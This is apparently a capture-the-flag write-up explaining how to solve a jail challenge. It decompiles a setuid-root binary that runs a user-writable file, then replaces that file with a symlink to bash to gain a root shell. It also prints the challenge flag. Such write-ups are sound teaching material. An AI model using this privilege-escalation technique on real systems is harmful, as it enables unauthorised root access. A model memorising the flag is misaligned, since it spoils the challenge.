write-ups-challenges-2022-2023/break-from-the-jail/level-2/SOLUTION.md

115 lines
3.4 KiB
Markdown
Raw Permalink Normal View History

2022-11-24 21:59:22 +00:00
# Hack the Jail - Part 2
## Difficulty
Moderate - the participant needs to know about the `setuid` bit, and needs to reverse engineer the binary using a tool such as Ghidra to gain more insight.
## How To Solve
### Connecting to the challenge
When connecting to the challenge's IP and port we get access to a shell running as the `ig` user.
```
bash5.1$ whoami
ig
```
The flag is still on `/flag.txt`, trying to read it results in a permission denied error as the file is only readable by `root`.
```
bash-5.1$ cat /flag.txt
cat: can't open '/flag.txt': Permission denied
```
Unfortunately, our luck of last time has run out, a simple `sudo cat /flag.txt` does not seem to work anymore.
In fact, `sudo` is not even installed. Let's move on to see what is inside of our home directory.
We notice that it contains two files (which were listed on the CTF platform in binary format as well):
* execute: a binary that is owned by root and has the following permissions: -rwsr-sr-x
* hello_world: a binary owned by the IG user that has the following permissions: -rwxr-xr-x
Comparing the two types of permissions, we notice that the `execute` binary has a special permission called `s`.
This indicates that the binary has the `setuid` capability, which means that it is able to change the user it is running as **during its execution**. We will come back to this later, as we will first reverse engineer both binaries.
### Reverse Engineering the Binaries
#### Hello World
Importing the `hello_world` program into Ghidra reveals that it indeed is a simple `hello_world` program:
```
undefined8 main(void)
{
puts("Hello World");
return 0;
}
```
Nothing to see here.
##### The "execute" program
The `execute` program is far more interesting:
```
undefined8 main(void)
{
long in_FS_OFFSET;
char *local_20;
char *local_18;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_20 = (char *)0x0;
local_18 = (char *)0x0;
setuid(0);
execve("./hello_world",&local_20,&local_18);
puts("Could not execute program");
perror("execve");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
```
Ignoring all memory allocations on top of the `main` function, we notice that the program first ensures that it is running as root. It can accomplish this by changing the user id it is running as using the `setuid` function. Typically, the user id `0` corresponds to the `root` or `superuser` of the system.
Note that this call would fail if the `setuid` capability bit was not set, because the `ig` user does not have permission to change the running user to `root`.
After it has changed the user it is running as, it replaces itself with the `hello_world` binary using the `execve` function.
## The Attack
Since the `hello_world` binary is owned by the `ig` user, we also have permission to change it.
Here we could change it to something that is able to read the `/flag.txt` file (using a bash script or another compiled C program). However, the easiest solution is to replace the binary with a shell, such that we can obtain a shell as the `root` user.
```
$ rm hello_world
$ ln -s /bin/bash hello_world
```
Running `execute` again results in a `root` shell!
```
bash5.1$ ./execute
bash5.1$ whoami
root
bash5.1$ cat /flag.txt
IGCTF{S3tUid?B3C4refulWith1t!}
```
## Flag
IGCTF{S3tUid?B3C4refulWith1t!}